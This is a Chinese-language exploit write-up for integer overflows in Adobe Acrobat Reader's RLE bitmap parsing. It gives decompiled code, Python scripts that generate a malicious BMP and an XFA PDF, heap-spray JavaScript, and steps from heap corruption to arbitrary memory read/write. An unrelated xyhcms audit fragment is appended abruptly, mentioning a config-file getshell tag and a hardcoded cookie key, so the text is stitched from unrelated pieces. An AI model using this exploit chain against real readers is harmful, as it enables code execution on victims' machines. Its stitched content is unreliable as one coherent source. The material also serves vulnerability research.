// 20CF440F 变动的基本块之一
if ( ypos >= height || (unsigned __int8)cmd + xpos > width )
goto LABEL_170; // CxxThrowException
index = 0;
if ( (_BYTE)cmd )
{
do
{
line = (_BYTE *)fn_get_scanline(v1[3], ypos);
line[xpos++] = BYTE1(cmd);
++index;
}
while ( index < (unsigned __int8)cmd ); // 展开数据
}
}
else if ( BYTE1(cmd) ) // 第一字节为零且第二字节不为零
{
if ( BYTE1(cmd) == 1 ) // 位图结束
{
bitmap_ends = 1;
}
else if ( BYTE1(cmd) == 2 ) // delta 数据
{
fn_read_bytes(v1[2], &xdelta, 1u);
fn_read_bytes(v1[2], &ydelta, 1u);
xpos += xdelta; // 向右移动
ypos -= ydelta; // 向上移动
}
else // 未压缩数据
{
dst_xpos = BYTE1(cmd) + xpos;
if ( ypos >= height || dst_xpos < xpos ||
dst_xpos < BYTE1(cmd) || dst_xpos > width ) // 整数溢出检查
goto LABEL_170; // CxxThrowException
index = 0;
if ( BYTE1(cmd) )
{
do
{
fn_read_bytes(v1[2], &value, 1u);
line = (_BYTE *)fn_get_scanline(v1[3], ypos);
line[xpos++] = value;
count = BYTE1(cmd);
++index;
}
while ( index < BYTE1(cmd) ); // 读取未压缩数据
}
if ( count & 1 ) // 数据对齐
fn_read_bytes(v1[2], &value, 1u);
}
}
else // 当前行结束
{
--ypos; // 从下往上移动一行
xpos = 0; // 移动到行的起点
}
result = fn_feof(v1[2]);
}
while ( !result );
}
}
基于前面的补丁分析，很明显下面的 `if` 语句中存在整数溢出：
// 20CF440F 变动的基本块之一
if ( ypos >= height || (unsigned __int8)cmd + xpos > width )
goto LABEL_170; // CxxThrowException
// 20CF501F AcroForm 2019.012.20036 中修复的基本块
dst_xpos = (unsigned __int8)cmd + xpos;
if ( ypos >= height || dst_xpos > width ||
dst_xpos < xpos || dst_xpos < (unsigned __int8)cmd )
goto LABEL_176;
这里在计算 `(unsigned __int8)cmd + xpos` 时可能导致整数溢出，且其中两个变量的值都可以被控制。在解析特定的 RLE8
数据时，如果触发这里的整数溢出，后续便可以实现堆块越界写。
* 变量 `(unsigned __int8)cmd` 的值是可以直接控制的，其取值范围为 `[1, 255]`
fn_read_bytes(v1[2], &cmd, 2u); // 读取 2 字节数据
* 变量 `xpos` 的值也是可以直接控制的，只需要在 **编码模式** 中布局大量 `delta` 命令即可使得 `xpos` 的值接近 `0xFFFFFFFF`
else if ( BYTE1(cmd) == 2 ) // delta
{
fn_read_bytes(v1[2], &xdelta, 1u);
fn_read_bytes(v1[2], &ydelta, 1u);
xpos += xdelta; // 向右移动, xdelta 取值范围为 [0, 255]
ypos -= ydelta; // 向上移动
}
* 因为 `xpos` 非常大（有符号表示为负数），因此在处理 RLE8 压缩数据时可以实现堆块越界写（往低地址方向越界写），并且写的数据也是完全可控的，只不过所有数据都必须是同样的值
index = 0;
do
{
line = (_BYTE *)fn_get_scanline(v1[3], ypos);
line[xpos++] = BYTE1(cmd); // 可控数据实现堆块越界写
++index;
}
while ( index < (unsigned __int8)cmd ); // 解压数据
#### 4.2.2 RLE4 解析
函数 `sub_20CF3E5F` 中负责解析 RLE4 压缩数据的部分代码如下（实现 RLE4 解压的代码比 RLE8
解压的代码稍微复杂一点，因为数据单位不再是一个字节，而是半个字节）：
if ( bmih.biCompression == 2 ) // RLE4 算法
{
xpos = 0; // unsigned int, 从左往右
ypos = bmih.biHeight - 1; // unsigned int, 从下往上
bitmap_ends = 0;
odd_index_ = 0;
if ( !fn_feof(v1[2]) )
{
do
{
if ( bitmap_ends )
return result;
fn_read_bytes(v1[2], &cmd, 2u); // 读取 2 字节数据
if ( (_BYTE)cmd ) // 第一个字节不为零
{ // 表示有压缩数据等待处理
high_4bits = BYTE1(cmd) >> 4; // 高 4 位数据
low_4bits = BYTE1(cmd) & 0xF; // 低 4 位数据
// 20CF45F8 变动的基本块之一
if ( ypos >= height || (unsigned __int8)cmd + xpos > width )
goto LABEL_170; // CxxThrowException
index = 0;
if ( (_BYTE)cmd )
{
xpos_ = odd_index_;
do
{
byte_slot = xpos_ >> 1;
odd_index = index & 1;
line = fn_get_scanline(v1[3], ypos);
_4bits = high_4bits; // 偶数索引 -> 高 4 位数据
if ( odd_index ) // 奇数索引 -> 低 4 位数据
_4bits = low_4bits;
if ( xpos_ & 1 ) // xpos 为奇数, 存入已有字节
{
line[byte_slot] |= _4bits;
}
else // xpos 为偶数, 存入新的字节
{
line[byte_slot] = 16 * _4bits;
}
++xpos_;
index = index + 1;
}
while ( index < (unsigned __int8)cmd );
odd_index_ = xpos_;
xpos = odd_index_;
}
}
else if ( BYTE1(cmd) ) // 第一字节为零且第二字节不为零
{
if ( BYTE1(cmd) == 1 ) // 位图结束
{
bitmap_ends = 1;
}
else if ( BYTE1(cmd) == 2 ) // delta 数据
{
fn_read_bytes((_DWORD *)v1[2], &xdelta, 1u);
fn_read_bytes((_DWORD *)v1[2], &ydelta, 1u);
xpos += xdelta; // 向右移动
ypos -= ydelta; // 向上移动
odd_index_ = xpos;
}
else
{
// 20CF44EA 变动的基本块之一
if ( ypos >= height || BYTE1(cmd) + xpos > width )
goto LABEL_170; // CxxThrowException
index = 0;
odd_index = 0;
if ( BYTE1(cmd) ) // 未压缩数据
{
xpos_ = odd_index_;
do
{
odd_index_ = index & 1;
if ( !(index & 1) ) // 读取 1 字节数据
{
fn_read_bytes((_DWORD *)v1[2], &value, 1u);
low_4bits_ = value & 0xF; // 低 4 位数据
high_4bits_ = value >> 4; // 高 4 位数据
}
byte_slot = xpos_ >> 1;
line = fn_get_scanline(v1[3], ypos);
_4bits = high_4bits_;
if ( odd_index_ )
_4bits = low_4bits_;
if ( xpos_ & 1 )
{
line[byte_slot] |= _4bits;
}
else
{
line[byte_slot] = 16 * _4bits;
}
++xpos_;
count = BYTE1(cmd);
not_ended = odd_index++ + 1 < BYTE1(cmd);
index = odd_index;
}
while ( not_ended );
odd_index_ = xpos_;
xpos = odd_index_;
}
if ( (count & 3u) - 1 <= 1 ) // 数据对齐
fn_read_bytes(v1[2], &value, 1u);
}
}
else // 当前行结束
{
--ypos; // 从下往上移动一行
xpos = 0; // 移动到行的起点
odd_index_ = 0;
}
result = fn_feof((_DWORD *)v1[2]);
}
while ( !result );
}
}
这里在两个位置可以触发整数溢出，其中一处位于处理压缩数据的过程中：
high_4bits = BYTE1(cmd) >> 4; // 高 4 位数据
low_4bits = BYTE1(cmd) & 0xF; // 低 4 位数据
// 20CF45F8 变动的基本块之一
if ( ypos >= height || (unsigned __int8)cmd + xpos > width )
goto LABEL_170; // CxxThrowException
另一处位于处理未压缩数据的过程中：
// 20CF44EA 变动的基本块之一
if ( ypos >= height || BYTE1(cmd) + xpos > width )
goto LABEL_170; // CxxThrowException
## 0x05. 漏洞利用
### 5.1 溢出目标
前面提到在解析 RLE 数据时发现了 3 个溢出点，这里选择其中相对容易写利用的溢出点来触发漏洞：位于 RLE8 数据解析过程中的一处整数溢出。
RLE4 数据解析过程中存在的两处溢出点很难实现稳定利用，因为在向扫描线填充像素数据时，偏移值为 `xpos` 的值除以 `2` ，此时偏移值最大可以是
`0xFFFFFFFF / 2 = 0x7FFFFFFF` ，也就意味着仅能向高地址方向实现堆块越界写，而且这个地址上具体是什么数据很难控制。
而 RLE8 数据解析过程中存在的溢出点就相对好控制一些，因为在向扫描线填充像素数据时，偏移值就是 `xpos`
本身，这样就可以向低地址方向实现堆块越界写，而且越界写的范围在一定程度上也是可控的。在下面的代码中，`(unsigned __int8)cmd`
的最大值可以是 `0xFF` ，为了绕过 `if` 语句中的条件检查，`xpos` 的最小值是 `0xFFFFFF01` （在有符号类型下表示为
`-255`）。这也就意味着最大可以向低地址方向越界写 `0xFF` 字节的数据。
// 20CF440F 变动的基本块之一
if ( ypos >= height || (unsigned __int8)cmd + xpos > width )
goto LABEL_170; // CxxThrowException
但需要注意的是，用于越界写的数据必须是一样的，即只能是同一个字节。这会给漏洞利用带来一些额外的问题，后续会对此进行详细讨论。
index = 0;
do
{
line = (_BYTE *)fn_get_scanline(v1[3], ypos);
line[xpos++] = BYTE1(cmd);
++index;
}
while ( index < (unsigned __int8)cmd );
### 5.2 SpiderMonkey 基础知识
Adobe Acrobat Reader DC 所使用的 JavaScript 引擎为
[SpiderMonkey](https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey) ，在编写利用代码之前，先简单介绍一下相关的基础知识。
#### 5.2.1 ARRAYBUFFER
对 [ArrayBuffer](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer) 而言，当 `byteLength`
的大小超过 `0x68` 时，其底层数据存储区（ **backing store** ）所在的堆块将通过系统堆申请（`ucrtbase!calloc`）；当
`byteLength` 的大小小于等于 `0x68` 时，堆块从 SpiderMonkey 的私有堆 **tenured heap** 申请。同时，当
**backing store** 独立申请堆块时，需要额外申请 `0x10` 字节的空间用于存储 `ObjectElements` 对象。
class ObjectElements {
public:
uint32_t flags; // 可以是任意值，通常为 0
uint32_t initializedLength; // byteLength
uint32_t capacity; // view 对象指针
uint32_t length; // 可以是任意值，通常为 0
// ......
};
对 `ArrayBuffer` 而言，这里 `ObjectElements` 的各个成员的名字是没有意义的（因为本来是为 `Array`
准备的），这里第二个成员 `initializedLength` 存储 `byteLength` 的值，第三个成员 `capacity` 存储关联的
[DataView](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView) 对象的指针，其他成员可以是任意值。
在 Adobe Acrobat Reader DC 中执行下面的 JavaScript 代码：
var ab = new ArrayBuffer(0x70);
var dv = new DataView(ab);
dv.setUint32(0, 0x41424344, true);
`ArrayBuffer` 对象的 **backing store** 的内存布局如下：
; -, byteLength, viewobj, -,
34d54f80 00000000 00000070 2458f608 00000000
; data
34d54f90 41424344 00000000 00000000 00000000
34d54fa0 00000000 00000000 00000000 00000000
34d54fb0 00000000 00000000 00000000 00000000
34d54fc0 00000000 00000000 00000000 00000000
34d54fd0 00000000 00000000 00000000 00000000
34d54fe0 00000000 00000000 00000000 00000000
34d54ff0 00000000 00000000 00000000 00000000
在漏洞利用过程中，如果可以更改 `ArrayBuffer` 对象的 `byteLength` 为一个更大的值，那么就可以基于 `ArrayBuffer`
对象实现越界读写了。不过需要注意后面的 `4` 字节数据要么为零，要么指向一个 **合法** 的 `DataView` 对象，否则进程会立刻崩溃。
#### 5.2.2 ARRAY
对 [Array](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array) 而言，当 `length` 的大小超过
`14` 时，其底层元素存储区所在的堆块将通过系统堆申请（`ucrtbase!calloc`）；当 `length` 的大小小于等于 `14` 时，堆块从
SpiderMonkey 的私有堆 **nursery heap** 申请。和 `ArrayBuffer`
一样，当底层元素存储区独立申请堆块时，需要额外申请 `0x10` 字节的空间用于存储 `ObjectElements` 对象。
class ObjectElements {
public:
// The NumShiftedElementsBits high bits of this are used to store the
// number of shifted elements, the other bits are available for the flags.
// See Flags enum above.
uint32_t flags;
/*
* Number of initialized elements. This is <= the capacity, and for arrays
* is <= the length. Memory for elements above the initialized length is
* uninitialized, but values between the initialized length and the proper
* length are conceptually holes.
*/
uint32_t initializedLength;
/* Number of allocated slots. */
uint32_t capacity;
/* 'length' property of array objects, unused for other objects. */
uint32_t length;
// ......
};
在 Adobe Acrobat Reader DC 中执行下面的 JavaScript 代码：
var array = new Array(15);
array[0] = array[array.length - 1] = 0x41424344;
`Array` 对象元素存储区的内存布局如下：
0:010> dd 34cb0f88-10 L90/4
34cb0f78 00000000 0000000f 0000000f 0000000f
34cb0f88 41424344 ffffff81 00000000 ffffff84 ; [0], [1]
34cb0f98 00000000 ffffff84 00000000 ffffff84
34cb0fa8 00000000 ffffff84 00000000 ffffff84
34cb0fb8 00000000 ffffff84 00000000 ffffff84
34cb0fc8 00000000 ffffff84 00000000 ffffff84
34cb0fd8 00000000 ffffff84 00000000 ffffff84
34cb0fe8 00000000 ffffff84 00000000 ffffff84
34cb0ff8 41424344 ffffff81 ???????? ???????? ; [14]
这里 `array[0]` 和 `array[14]` 的值都是 `41424344 ffffff81` ，其中标签 `0xFFFFFF81`
表示元素的类型为 `INT32` 。而 `array[1]` 到 `array[13]` 之间的所有元素都被填充为 `00000000 ffffff84`
，表示这些元素当前是未定义的（即 `undefined` ）。
对 `Array` 而言，如果可以通过触发漏洞更改 `capacity` 和 `length` 的值，那么就可以实现越界写操作：仅仅是越界写，因为
`initializedLength` 不变的话越界读取的元素全部为 `undefined`
，同时一旦进行越界写操作，`initializedLength` 之后到越界写之前的所有元素都会被填充为 `00000000 ffffff84`
，控制不好的话很容导致进程崩溃。
那么如果同时更改 `initializedLength` 呢？理论上问题不大，不过对于本文所讨论的漏洞而言不适用，因为
`initializedLength` 的值会被改成非常大的值（四字节全部为相同的数据），而在 GC
过程中数组的所有元素都会被扫描，进程会因为访问到不可访问的内存页而崩溃。
#### 5.2.3 JSOBJECT
在 SpiderMonkey 中，所有 JavaScript 对象的类都继承自 `JSObject` ，后者又继承自 `ObjectImpl`
，相关定义如下：
class ObjectImpl : public gc::Cell {
protected:
HeapPtrShape shape_;
HeapPtrTypeObject type_;
HeapSlot *slots;
HeapSlot *elements;
// ......
};
struct JSObject : public js::ObjectImpl {}
对某些对象（比如 `DataView` ）而言， `elements` 的值是没有意义的，因此会指向一个静态全局变量
`emptyElementsHeader` ，读取这些对象的 `elements` 的值可以用于泄露 JavaScript 引擎模块的基地址。
static ObjectElements emptyElementsHeader(0, 0);
/* Objects with no elements share one empty set of elements. */
HeapSlot *js::emptyObjectElements =
reinterpret_cast<HeapSlot *>(uintptr_t(&emptyElementsHeader) +
sizeof(ObjectElements));
### 5.3 位图构造
如下 Python 代码可以用于创建 RLE 类型的位图文件（可以指定各种参数以及位图数据）：
#!/usr/bin/env python
#-*- coding:utf-8 -*- import os
import sys
import struct
RLE8 = 1
RLE4 = 2
COMPRESSION = RLE8
BIT_COUNT = 8
CLR_USED = 1 << BIT_COUNT
WIDTH = 0xF0
HEIGHT = 1
def get_bitmap_file_header(file_size, bits_offset):
return struct.pack('<2sIHHI', 'BM', file_size, 0, 0, bits_offset)
def get_bitmap_info_header(data_size):
return struct.pack('<IIIHHIIIIII',
0x00000028,
WIDTH,
HEIGHT,
0x0001,
BIT_COUNT,
COMPRESSION,
data_size,
0x00000000,
0x00000000,
CLR_USED,
0x00000000)
def get_bitmap_info_colors():
# B, G, R, Reserved
rgb_quad = '\x00\x00\xFF\x00'
return rgb_quad * CLR_USED
def get_bitmap_data():
# set ypos to 0 so that we'll be at the beginning of the heap buffer
# ypos = (HEIGHT - 1) = 0, no need to bother
# set xpos to 0xFFFFFF00
data = '\x00\x02\xFF\x00' * (0xFFFFFF00 / 0xFF)
# set xpos to 0xFFFFFF0C
data += '\x00\x02\x0C\x00'
# 0xFFFFFF0C + 0xF4 = 0
# 0xF4 bytes of 0x10
data += '\xF4\x10'
# mark end of bitmap to skip CxxThrowException
data += '\x00\x01'
return data
def generate_bitmap(filepath):
data = get_bitmap_data()
data_size = len(data)
bmi_header = get_bitmap_info_header(data_size)
bmi_colors = get_bitmap_info_colors()
bmf_header_size = 0x0E
bits_offset = bmf_header_size + len(bmi_header) + len(bmi_colors)
file_size = bits_offset + data_size
bmf_header = get_bitmap_file_header(file_size, bits_offset)
with open(filepath, 'wb') as f:
f.write(bmf_header)
f.write(bmi_header)
f.write(bmi_colors)
f.write(data)
if __name__ == '__main__':
if len(sys.argv) != 2:
print 'Usage: %s <output.bmp>' % os.path.basename(sys.argv[0])
sys.exit(1)
generate_bitmap(sys.argv[1])
这里直接创建一个 RLE8 位图文件，相关参数如下：
* 宽度为 `0xF0`
* 高度为 `1`
* 位数为 `8`
对该位图而言，用于存储位图数据的堆块的大小将会是 `0xF0` ，而函数 `get_bitmap_data`
中指定的位图数据将使得我们可以向低地址方向越界写 `0xF4` 字节的数据，其中数据全部为 `0x10` 。
### 5.4 PDF 构造
下面是一个 PDF 模板文件的内容，该模板后续将用于生成 POC 文件。
%PDF-1.7
1 0 obj
<<
/Type /Catalog
/AcroForm 5 0 R
/Pages 2 0 R
/NeedsRendering true
/Extensions
<<
/ADBE
<<
/ExtensionLevel 3
/BaseVersion /1.7
>>
>>
>>
endobj
2 0 obj
<<
/Type /Pages
/Kids [3 0 R]
/Count 1
>>
endobj
3 0 obj
<<
/Type /Page
/Parent 2 0 R
/Contents 4 0 R
/Resources
<<
/Font
<<
/F1
<<
/BaseFont /Helvetica
/Subtype /Type1
/Name /F1
>>
>>
>>
>>
endobj
4 0 obj
<<
/Length 104
>>
stream
BT
/F1 12 Tf
90 692 Td
(If you see this page, it means that your PDF reader does not support XFA.) Tj
ET
endstream
endobj
5 0 obj
<<
/XFA 6 0 R
>>
endobj
6 0 obj
<<
/Filter /FlateDecode
/Length __STREAM_LENGTH__
>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<template xmlns:xfa="http://www.xfa.org/schema/xfa-template/3.1/" xmlns="http://www.xfa.org/schema/xfa-template/3.0/">
<subform name="form1" layout="tb" locale="en_US" restoreState="auto">
<pageSet>
<pageArea name="Page1" id="Page1">
<contentArea x="0.25in" y="0.25in" w="576pt" h="756pt"/>
<medium stock="default" short="612pt" long="792pt"/>
</pageArea>
</pageSet>
<subform w="576pt" h="756pt">
<field name="ImageCrash">
<ui>
<imageEdit/>
</ui>
<value>
<image aspect="actual" contentType="image/bmp">
__IMAGE_BASE64_DATA__
</image>
</value>
</field>
</subform>
<event activity="initialize" name="event__initialize">
<script contentType="application/x-javascript">
// The JavaScript code will be executed before triggering the vulnerability
</script>
</event>
<event activity="docReady" ref="$host" name="event__docReady">
<script contentType="application/x-javascript">
// The JavaScript code will be executed after triggering the vulnerability
</script>
</event>
</subform>
</template>
<config xmlns="http://www.xfa.org/schema/xci/3.0/">
<agent name="designer">
<!-- [0..n] -->
<destination>pdf</destination>
<pdf>
<!-- [0..n] -->
<fontInfo/>
</pdf>
</agent>
<present>
<!-- [0..n] -->
<pdf>
<!-- [0..n] -->
<version>1.7</version>
<adobeExtensionLevel>5</adobeExtensionLevel>
</pdf>
<common/>
<xdp>
<packets>*</packets>
</xdp>
</present>
</config>
<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
<xfa:data xfa:dataNode="dataGroup"/>
</xfa:datasets>
<xfdf xmlns="http://ns.adobe.com/xfdf/" xml:space="preserve">
<annots/>
</xfdf>
</xdp:xdp>
endstream
endobj
xref
0 7
0000000000 65535 f
0000000009 00000 n
0000000237 00000 n
0000000306 00000 n
0000000587 00000 n
0000000746 00000 n
0000000782 00000 n
trailer
<<
/Root 1 0 R
/Size 7
>>
startxref
__XREF_OFFSET__
%%EOF
为了触发整数溢出，前面构造的位图文件的大小将超过 `60MB` ，而且在嵌入 XFA 表单时，需要对其进行 Base64 编码，这会使得生成的 PDF
文件相当大。为了压缩 PDF 文件的大小，可以给对象 `6 0 obj` 指定一个 `Filter` （这里为 `FlateDecode`
）以便压缩对象的数据，因为数据比较规律，所以压缩率还是相当可观的。
为了实现漏洞利用，需要在触发漏洞前完成内存布局、在触发漏洞后完成后续利用步骤，而这些操作都需要借助执行 JavaScript
代码来完成，因此需要在不同的时间点执行不同的 JavaScript 代码，这可以通过给 `subform` 的 `initialize` 事件和
`docReady` 事件设置事件处理代码来完成。
下面的 Python 代码可以用于生成 PDF 文件：
#!/usr/bin/env python
#-*- coding:utf-8 -*- import os
import sys
import zlib
import base64
def parse_template(template_path):
with open(template_path, 'rb') as f:
data = f.read()
xdp_begin = data.find('<xdp:xdp')
xdp_end = data.find('</xdp:xdp>') + len('</xdp:xdp>')
part1 = data[:xdp_begin]
part2 = data[xdp_begin:xdp_end]
part3 = data[xdp_end:]
return part1, part2, part3
def generate_pdf(image_path, template_path, pdf_path):
pdf_part1, pdf_part2, pdf_part3 = parse_template(template_path)
with open(image_path, 'rb') as f:
image_data = base64.b64encode(f.read())
pdf_part2 = pdf_part2.replace('__IMAGE_BASE64_DATA__', image_data)
pdf_part2 = zlib.compress(pdf_part2)
pdf_part1 = pdf_part1.replace('__STREAM_LENGTH__', '%d' % len(pdf_part2))
pdf_data = pdf_part1 + pdf_part2 + pdf_part3
pdf_data = pdf_data.replace('__XREF_OFFSET__', '%d' % pdf_data.find('xref'))
with open(pdf_path, 'wb') as f:
f.write(pdf_data)
if __name__ == '__main__':
if len(sys.argv) != 4:
filename = os.path.basename(sys.argv[0])
print 'Usage: %s <input.bmp> <template.pdf> <output.pdf>' % filename
sys.exit(1)
generate_pdf(sys.argv[1], sys.argv[2], sys.argv[3])
### 5.5 利用技巧
#### 5.5.1 内存布局 (1)
这里借助 `ArrayBuffer` 来完成内存布局。
因为位图解析过程中创建的堆块大小为 `0xF0` 字节，因此 `ArrayBuffer` 的 `byteLength` 可以设置为 `0xE0`
。为了创建内存空洞，可以先创建大量的 `ArrayBuffer` 对象，然后间隔释放其中的一半对象，理想情况下的内存布局如下：
┌─────────────┬─────────────┬─────────────┬─────────────┐
│ ArrayBuffer │ Hole │ ArrayBuffer │ Hole │
└─────────────┴─────────────┴─────────────┴─────────────┘
│ <- 0xF0 -> │
在触发漏洞时，位图解析相关的堆块会落到其中一个空洞上：
┌─────────────┬─────────────┬─────────────┬─────────────┐
│ ArrayBuffer │ Bitmap Data │ ArrayBuffer │ Hole │
└─────────────┴─────────────┴─────────────┴─────────────┘
因为可以向低地址方向越界写 `0xF4` 字节的 `0x10` 数据，所以触发漏洞之后，`ArrayBuffer` 对象的 **backing
store** 的内存布局如下：
0:014> dd 304c8398
; -, byteLength, viewobj, -,
304c8398 00000000 10101010 10101010 10101010
; ArrayBuffer 数据
304c83a8 10101010 10101010 10101010 10101010
304c83b8 10101010 10101010 10101010 10101010
304c83c8 10101010 10101010 10101010 10101010
304c83d8 10101010 10101010 10101010 10101010
304c83e8 10101010 10101010 10101010 10101010
304c83f8 10101010 10101010 10101010 10101010
304c8408 10101010 10101010 10101010 10101010
304c8418 10101010 10101010 10101010 10101010
304c8428 10101010 10101010 10101010 10101010
304c8438 10101010 10101010 10101010 10101010
304c8448 10101010 10101010 10101010 10101010
304c8458 10101010 10101010 10101010 10101010
304c8468 10101010 10101010 10101010 10101010
304c8478 10101010 10101010 10101010 10101010 ; ArrayBuffer 结束
; 下一个堆块的元数据（存储位图数据的堆块）
304c8488 10101010 10101010
; 位图数据
304c8490 00000000 00000000
此时 `ArrayBuffer` 对象的 `byteLength` 被改成了 `0x10101010` ，但是 `DataView` 对象的指针也被改成了
`0x10101010` ，前面提到过这会导致进程崩溃。
#### 5.5.2 内存布局 (0)
为了避免进程崩溃，需要提前在地址 `0x10101010` 上布局数据，让这个地址看起来就是一个 `DataView`
指针。很明显，为了漏洞利用更加稳定，我们需要一开始就在这里布局好数据。
同样，这里借助 `ArrayBuffer` 实现精确的内存布局：
* 创建大量 `byteLength` 为 `0xFFE8` 的 `ArrayBuffer`
* 在特定内存范围内，`ArrayBuffer` 的 **backing store** 将有序的出现在地址 `0xYYYY0048` 上
之所以选择 `0xFFE8` ，是因为这会使得 **backing store** 所在堆块整体的大小为 `0x10000` ：
// 0xFFE8 -> byteLength
// 0x10 -> sizeof ObjectElements
// 0x08 -> sizeof heap block's metadata
0xFFE8 + 0x10 + 0x08 = 0x10000
使用下面的代码进行内存布局，可以有效防止进程崩溃（具体细节不作讲解，相关条件很容易通过动态调试分析出来）：
function fillHeap() {
var array = new Array(0x1200);
array[0] = new ArrayBuffer(0xFFE8);
var dv = new DataView(array[0]);
dv.setUint32(0xFB8, 0x10100058, true);
dv.setUint32(0, 0x10100158, true);
dv.setUint32(0xFFA8, 0x10100258, true);
dv.setUint32(0x200 + 0x14, 0x10100358, true);
for (var i = 1; i < array.length; ++i) {
array[i] = array[0].slice();
}
return array;
}
当然，这仅仅只能防止漏洞触发后进程的崩溃，如果要为该 `ArrayBuffer` 关联新的 `DataView`
来读写数据，那么会导致新的崩溃。同样，填充一点新的数据就可以防止进程崩溃，新的代码如下所示：
function fillHeap() {
var array = new Array(0x1200);
array[0] = new ArrayBuffer(0xFFE8);
var dv = new DataView(array[0]);
// 防止触发漏洞之后进程立刻 Crash
dv.setUint32(0xFB8, 0x10100058, true);
dv.setUint32(0, 0x10100158, true);
dv.setUint32(0xFFA8, 0x10100258, true);
dv.setUint32(0x200 + 0x14, 0x10100358, true);
// 防止关联 DataView 对象时 Crash
dv.setUint32(0xFFA4, 0x10100458, true);
for (var i = 1; i < array.length; ++i) {
array[i] = array[0].slice();
}
return array;
}
#### 5.5.3 全局读写
当 `ArrayBuffer` 对象的 `byteLength` 被改成 `0x10101010` 之后，可以基于这个 `ArrayBuffer`
对象修改下一个 `ArrayBuffer` 对象的 `byteLength` 。在基于 `ArrayBuffer` 创建内存空洞时，可以在每一个
`ArrayBuffer` 上存储特定的标记值，这样在内存中搜索 `ArrayBuffer` 对象就非常简单了。
(1)byteLength (3)Global Access
┌─<───<───<───┐ <──────┬──────>
┌┼────────────┬┼────────────┬──────┼──────┬─────────────┐
│ ArrayBuffer │ Bitmap Data │ ArrayBuffer │ Hole │
└──────┼──────┴─────────────┴┼────────────┴─────────────┘
└──>───>───>───>────>─┘
(2) byteLength to -1
当下一个 `ArrayBuffer` 对象的 `byteLength` 被改成 `0xFFFFFFFF` 时，基于这个 `ArrayBuffer`
对象就可以实现用户态空间的全局读写了。
#### 5.5.4 任意地址读写
一旦拥有全局读写的能力，我们就可以向低地址方向来搜索特定的关键字来定位 `ArrayBuffer`
对象在内存中的绝对地址，然后基于这个绝对地址来实现任意地址读写。
这里可以通过搜索 `ffeeffee` 或者 `f0e0d0c0` 来定位，为了提高准确性，需要同时校验关键字附近的数据的取值范围。
0:014> dd 30080000
30080000 16b80e9e 0101331b ffeeffee 00000002 ; ffeeffee
30080010 055a00a4 2f0b0010 055a0000 30080000 ; +0x14 -> 30080000
30080020 00000fcf 30080040 3104f000 000002e5
30080030 00000001 00000000 30d69ff0 30d69ff0
30080040 3eb82e96 08013313 00000000 0000ffe8
30080050 00000000 00000000 10100158 00000000
30080060 00000000 00000000 00000000 00000000
30080070 00000000 00000000 00000000 00000000
0:014> dd 305f4000
305f4000 00000000 00000000 6ab08d69 0858b71a
305f4010 0bbab388 30330080 0ff00112 f0e0d0c0 ; f0e0d0c0
305f4020 15dc2c3f 00000430 305f402c d13bc929 ; +0x0C -> 305f402c
305f4030 e5c521a7 d9b264d4 919cee58 45da954e
305f4040 5c3f608b 2b5fd340 0bae3aa9 2b5fd340
305f4050 0fae32aa d13bc929 e5c521a7 d9b264d4
305f4060 919cee58 45da954e 9c3f608b f952aa94
305f4070 989c772a a1dd934a ac5b154b 2fadd038
#### 5.5.5 剩余步骤
在拥有任意地址读写能力之后，实现代码执行就是固定的套路了，本文对此不做详细介绍。
剩余的步骤如下：
* EIP 劫持
* ASLR 绕过
* DEP 绕过
* CFG 绕过
## 0x06. CVE-2013-2729
前面提到一共找到了三处整数溢出，其中一处位于 RLE8 数据解析过程中，另外两处位于 RLE4
数据解析过程中。难道不应该有四个位置存在整数溢出吗？为什么只找到了三个？
因为有一个在六年前已经修复了（参考 [feliam’s write up for
CVE-2013-2729](http://blog.binamuse.com/2013/05/readerbmprle.html)）！从版本
`2019.012.20035` 中的代码也可以看到，确实有一个地方判断了整数溢出的情况，这就是 CVE-2013-2729 引入的补丁。
dst_xpos = BYTE1(cmd) + xpos;
if ( ypos >= height || dst_xpos < xpos ||
dst_xpos < BYTE1(cmd) || dst_xpos > width ) // overflow check
goto LABEL_170; // CxxThrowException
然而 Adobe 仅仅修补了报告的这一个位置，而忽略了其他三个位置上的整数溢出。
## 0x07. 经验教训
对厂商而言，在深入理解漏洞本质的同时，还可以看看是不是有类似的问题需要修复。
对安全研究人员而言，分析完漏洞之后还可以顺便看一下厂商的修复方式，也许不经意间就能发现新的漏洞。
* * * | 社区文章 |
2020年5月份的时候看到先知有一篇文章
<https://xz.aliyun.com/t/7756>
这个漏洞非常非常简单，经典插配置文件getshell，而且使用了<?=phpinfo();?>这种标签风格以应对代码对<?php的过滤。xyhcms后续的修复方案当然是把<?也拉黑，但这种修复方案是非常消极的，我们可以看一眼配置文件。
<http://demo.xyhcms.com/App/Runtime/Data/config/site.php>
可以发现这些配置选项都是以序列化形式存储在配置文件当中的，且为php后缀。
以安全的角度来想，既然这些配置信息不是写在php代码中以变量存储(大多数cms比如discuz的做法)，就不应该以php后缀存储。否则极易产生插配置文件getshell的漏洞。
即使认真过滤了php标签，也可能产生xss和信息泄露的问题。
如果是以序列化形式存储，那么配置文件不管什么后缀，都不应该被轻易访问到，要么像thinkphp5一样配置文件根本不在web目录中，要么每次建站随机配置文件名称。
最后，这个序列化形式存储在文件中也有待商榷，容易产生反序列化问题。
当然，也可以学大多数cms的另外一个做法，配置信息存在数据库中。
下载源码，搭一搭开始审计xyhcms_v3.6_20201128
<http://www.xyhcms.com/xyhcms>
由于注意到配置文件是以反序列化方式存储，所以我优先搜了搜unserialize(
此cms使用的thinkphp3.2.3框架，所以下面的不用看了，只看
/App/Common/Common/function.php
发现get_cookie是使用的反序列化
//function get_cookie($name, $key = '@^%$y5fbl') {
function get_cookie($name, $key = '') {
if (!isset($_COOKIE[$name])) {
return null;
}
$key = empty($key) ? C('CFG_COOKIE_ENCODE') : $key;
$value = $_COOKIE[$name];
$key = md5($key);
$sc = new \Common\Lib\SysCrypt($key);
$value = $sc->php_decrypt($value);
return unserialize($value);
}
$key默认为空，有注释可以固定为【@^%$y5fbl】，为空则使用CFG_COOKIE_ENCODE当key，然后md5加密$key，传入
SysCrypt类当密钥，加密代码见/App/Common/Lib/SysCrypt.class.php。
